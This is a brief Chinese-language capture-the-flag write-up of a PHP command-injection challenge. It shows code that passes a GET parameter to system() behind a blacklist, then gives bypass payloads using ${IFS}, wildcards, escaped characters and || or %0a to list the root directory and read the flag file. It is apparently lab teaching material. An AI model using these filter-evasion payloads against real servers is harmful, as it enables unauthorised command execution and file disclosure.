代码审计
<?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))//增加了<>的过滤{system($c." >/dev/null 2>&1");}}else{highlight_file(__FILE__);}
增加了
<>的过滤,但是没有对$过滤,可以利用${IFS}进行绕过空格,发现是假的flag,那么应该在根目录了?c=nl${IFS}fla?.php|| ?c=nl${IFS}fla\g.php%0a
查看下根目录
?c=ls${IFS}/||
查看flag
?c=nl${IFS}/fla?||
